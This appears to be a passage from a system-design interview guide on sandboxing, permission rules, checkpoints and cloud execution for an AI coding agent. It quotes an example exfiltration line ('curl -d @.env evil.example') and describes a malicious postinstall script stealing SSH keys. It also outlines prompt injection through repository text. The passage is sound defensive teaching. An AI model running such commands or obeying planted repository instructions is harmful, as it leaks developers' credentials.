A typical task makes about 20 tool calls, and a developer asked about every one stops reading within the hour and approves everything, or turns the checks off. Asking about nothing is worse: the agent has the developer’s ambient authority (push rights, tunnels to production databases, cloud CLIs already logged in) and reads untrusted text all day in READMEs, issues, dependency code, test output and web pages. Prompt injection has to be assumed: sometimes the model will follow instructions written into the repository.

The insight is that a boundary the operating system enforces can replace most prompts. If every command runs where it can write only inside the project and reach only listed hosts, most commands are safe to run without asking whatever the model was told, and the remaining prompts are rare enough to be read. Rules then decide what the boundary cannot express, such as a push, which is a network write to an allowed host.

  • An OS-level sandbox for every command, plus narrow rules and prompts for what crosses the boundary chosen
  • Ask before every command and edit rejected
  • Allow lists of commands, no sandbox situational: Platforms with no usable sandbox, as a fallback, with commands parsed into parts rather than matched as strings.
  • Run everything in a container or VM on the laptop situational: Untrusted repositories, or teams that already develop inside dev containers.

The answer: Every shell command runs in an operating-system sandbox, Seatbelt profiles on macOS and bubblewrap on Linux, applied to the command and every process it starts. Writes are allowed only under the project and temp directories, reads of configured secrets paths (.env files, ~/.ssh, ~/.aws, cloud credential files) are denied, and the network goes through a local proxy that allows listed domains (package registries, the model API) and asks about a new one. Inside that boundary a command runs without a prompt. Rules decide what the boundary cannot: git push, deploys, writes outside the project and anything that must run unsandboxed, and they are evaluated on parsed commands rather than strings, so chained and nested commands are judged part by part and anything unparseable asks. The developer picks a mode per session (ask before edits, accept edits, plan only, or a no-prompt mode meant for containers and the cloud), "always allow" answers become narrow rules scoped to a command and a project, and organisations can push managed rules that individuals cannot loosen. Anthropic reported that adding OS-level sandboxing to Claude Code cut permission prompts by 84 % in its internal use, which is the effect this design is after.

A dependency’s postinstall script tries to read ~/.ssh/id_ed25519 and post it somewhere.

The read is denied by the sandbox profile, because secrets paths are denied to every sandboxed process, not just to the agent’s read tool. If it tries the network, the proxy has no rule for that host, so the connection is refused, or the developer is asked in an interactive session. Neither depends on the model noticing anything. This attack hits developers with or without agents, and the sandbox makes the agent’s installs safer than the developer’s own.

Why parse commands instead of matching prefixes?

Because shells compose. "git status; curl -d @.env evil.example" starts with an allowed command, and "npm test" runs whatever package.json says. The engine parses the line into commands, pipes and substitutions, judges each part, and asks if any part is not allowed or anything cannot be parsed, such as eval or a decoded blob piped to sh. It also never assumes an allowed command makes its arguments safe: find with -exec can write.

The developer is tired of prompts and turns on the no-prompt mode on their laptop.

That mode is meant for a container or a cloud VM, where the machine itself is the boundary. On a laptop the harness warns once and, where the organisation says so, refuses. The better answer to prompt fatigue is data: show which commands the developer approves every time and offer to turn each into a narrow rule, so the prompts that remain are the ones worth reading.

How do you defend against prompt injection specifically?

Assume it sometimes works and make it unable to matter: secrets are unreadable, the network is closed except to listed hosts, and pushes and deploys ask with the exact command shown. A request for a network write that comes right after the agent read untrusted content is the pattern to highlight in the prompt. Classifiers that flag suspicious text in tool results are a useful signal, not the control, because attackers can rephrase forever.

What does an organisation need to control?

Managed settings pushed to every machine that individuals cannot loosen: denied paths, allowed domains, which modes exist, which commands always ask, and whether code may be indexed off the machine. Plus a log of permission decisions per session, kept locally and optionally sent to the organisation, so security can audit what agents ran without collecting the code itself.

Checkpoints and undo

Twenty minutes in, the developer says "go back to before you touched the auth module". What exactly can you restore, and what can’t you?

An agent changes files faster than a person can review them: 5 to 10 edits a task across several files, interleaved with the developer’s own edits and with commands that change state outside the files (installing packages, running migrations, generating code, deleting build directories). Git alone does not help mid-task: the work is uncommitted, and committing after every edit would litter the history and the developer’s staging area. Undo has to cover the conversation too, or the model keeps reasoning from changes that no longer exist.

The key observation is that the agent knows exactly which files it is about to change, because every edit goes through its own tool. Backing a file up just before the first edit to it in each turn is cheap (about 50 KB a task) and precise. What no file backup can capture is the side effect of an arbitrary shell command, so the honest design restores what it can and lists what it cannot.

  • Back up each file before the agent’s first edit to it in a turn, keyed by (session, turn) chosen
  • Commit to git after every agent turn situational: On a branch or worktree the agent owns, such as a cloud task, squashed before review.
  • Filesystem snapshots (APFS, btrfs, ZFS) per turn situational: Machines and cloud VMs on a copy-on-write filesystem, where the whole tree including command side effects can be snapshotted cheaply.
  • No undo: rely on the developer’s git rejected

The answer: Before the first edit to a file in a turn, the edit applier copies the file (or records that it did not exist) into a checkpoint store on the developer’s machine keyed by (session, turn, path), and the session log marks the turn boundary. Rewind takes a turn and a scope: code only, conversation only, or both. Restoring code writes each backed-up file back, but first compares the file with what the agent last wrote; if the developer has changed it since, the rewind shows the conflict rather than overwriting their work. Restoring the conversation truncates the session at that turn, so the model does not reason from undone changes. Every shell command since the checkpoint is listed in the rewind result, with the ones that may have changed state (installs, migrations, deletes, pushes) called out, because those are not undone. Checkpoints are kept for 30 days at about 50 KB a task and do not replace commits: the agent suggests committing before risky shell work, and parallel tasks use separate git worktrees so their changes never mix. Claude Code’s documentation draws a similar line: rewind restores the files its edit tools changed, and a file changed only by shell commands is not tracked.

The agent ran rm -rf build/ and a database migration. Can rewind undo those?

No, and it says so. The rewind result lists every command that ran after the checkpoint and flags the ones that changed state outside the edited files: the build directory can be rebuilt, and the migration needs its down step, which the agent can offer to run as a new command under the normal rules. The sandbox bounds the damage (nothing outside the project can be deleted), and "ask before migrations" is a sensible project rule.

Why not just commit after every turn?

It works when the agent owns the branch, and some developers prefer it. On the developer’s own working branch it mixes the agent’s commits with their uncommitted changes and staging area, and leaves twenty noise commits for someone to squash. A per-file backup gives the same undo without touching git. In the cloud, where the agent owns the branch, committing at milestones is the natural choice.

The developer rewinds the code but keeps the conversation.

Then the model has to be told: the harness appends a note listing the files restored and to which turn, so the model re-reads them before editing. Its recorded read hashes are stale anyway, so an edit based on its old picture would fail, which is the read-version check doing its job.

How much disk does this take?

A task edits about 6 files averaging 8 KB, so ~50 KB of backups. Eight tasks a day for 30 days is ~12 MB per developer, which is nothing. The exception is large generated or binary files, which are capped (say 1 MB a file) and reported as not backed up, so the developer knows before the edit rather than at rewind time.

Two parallel tasks edit the same repository. How do checkpoints work?

Each task runs in its own git worktree on its own branch, so they never touch the same files on disk, and each session has its own checkpoints. Combining their results is a normal git merge, done by the developer or by a final task, with the tests as the check.

One task, locally or in the cloud

The developer wants to start a task, close the laptop and get a pull request back. What changes when the agent runs in the cloud, and what must stay the same?

If 10 % of tasks run in the cloud, that is 800 k a day, about 8 k VMs busy on average and 25 k at peak, each needing the repository, its dependencies and whatever services its tests use. Installing dependencies from scratch takes ~3 minutes: 40 k VM-hours a day, and a 3-minute wait before every task starts. On the laptop the agent borrowed the developer’s environment and credentials; in the cloud nothing exists until we create it, and nobody is there to answer a permission prompt.

The insight is to keep the agent identical and change only its surroundings. The same harness, tools, project instructions and rules run in both places. What differs is the boundary (a disposable VM instead of a sandbox on someone’s laptop), the credentials (a token scoped to one branch instead of the developer’s keys), and the environment, which can be built once per dependency change and restored in seconds.

  • The same harness in a VM per task, environment snapshots keyed by setup and lockfile hashes, a branch-scoped git proxy chosen
  • Clone and install from scratch for every task situational: Small repositories whose setup takes under ~30 s, or the first task on a new repository.
  • Run the background task on the developer’s own machine rejected
  • A separate, cloud-specific agent rejected

The answer: A cloud task is (repository, base commit, environment, prompt, branch). The runner takes a VM from a warm pool and restores the environment snapshot keyed by (repository, setup script hash, lockfile hashes); on a miss it runs the setup script once, with network, and saves a snapshot for the next task, and snapshots are rebuilt in the background whenever the default branch changes a lockfile. It then fetches the base commit and starts the same harness in unattended mode: the VM is the sandbox, so commands run without prompts, anything that would ask is denied with the reason fed back, and the network reaches package registries, the model gateway and the git proxy only. The VM never holds a real token, because the git proxy adds it and allows pushes only to the task’s branch, so the worst a fooled agent can do is push a bad branch that a person reviews. Progress streams from the session log with sequence numbers; at the end the harness pushes the branch, opens a draft pull request and uploads the session log, so the developer can continue locally with a git switch and a resume, under their own rules again. Several tasks on one repository run in separate VMs on separate branches, and each VM is destroyed afterwards.

The tests need Postgres and Redis.

The environment declares them, and the runner starts them inside the VM with throwaway data before the harness starts. Seeding scripts belong to the setup script, so the seeded state is in the snapshot too. If tests need a shared staging service, that is a listed domain with a test credential the commands can use and the model cannot read, never the developer’s credentials.

How do you keep the tests’ secrets away from the model?

Inject them as environment variables into the commands only, deny the agent’s read tools access to them, and scrub their values from any tool output before it reaches the model or the session log. A secret the model has seen can end up in a commit message or a URL it fetches, so the rule is that secrets are usable by commands and invisible to the model.

The VM dies halfway through.

The session log was streamed out as it grew, so the transcript survives; the working tree survives up to the last commit, and in the cloud the harness commits at milestones because it owns the branch. The runner starts a new VM from the snapshot, checks out the last pushed commit and resumes the session with a note saying what was lost. That is far simpler than the fully durable runs a multi-tenant agent platform needs, because one developer is waiting on one task, and the AI Agent Platform question covers the durable version.

At 25 k VMs at peak, what runs out first?

CPU on the VM hosts during test runs, and snapshot misses after a popular repository changes a lockfile, when hundreds of tasks miss at once. The first is packing: VMs are idle most of the time while the model thinks, so hosts can be oversubscribed on CPU. The second is solved by rebuilding the snapshot as soon as the lockfile changes on the default branch, before tasks ask, and by making tasks wait for a build already in progress instead of starting their own.

Why is local still the default?

Because most tasks are short and interactive: the developer wants to watch, steer and try the result in their own environment. The cloud wins for long, well-specified tasks, for several tasks in parallel, and when the laptop has to close. With one harness, the choice is only about where the work runs, not which agent you get.

The theory behind it

  • Designing AI agent systems: The architecture behind LLM agents that use tools: the agent loop, tool definitions and execution, sandboxing, memory and context management, orchestration and multi-agent patterns, durable long-running tasks, guardrails and permissions, evaluation, cost control and observability.
  • Search, indexing and autocomplete: Inverted indexes, analysis and ranking, prefix search with tries, filtering by permissions, index freshness, and when vector search actually belongs in the answer.
  • Running untrusted code safely: How online judges, notebooks, CI systems and AI agents execute code they did not write: isolation with containers, gVisor and microVMs, resource limits, network and filesystem restrictions, judging pipelines, warm pools, fairness and abuse prevention.

Related

Sit this question with an AI interviewerOr watch a sample interviewStart an AI mockPractice with AI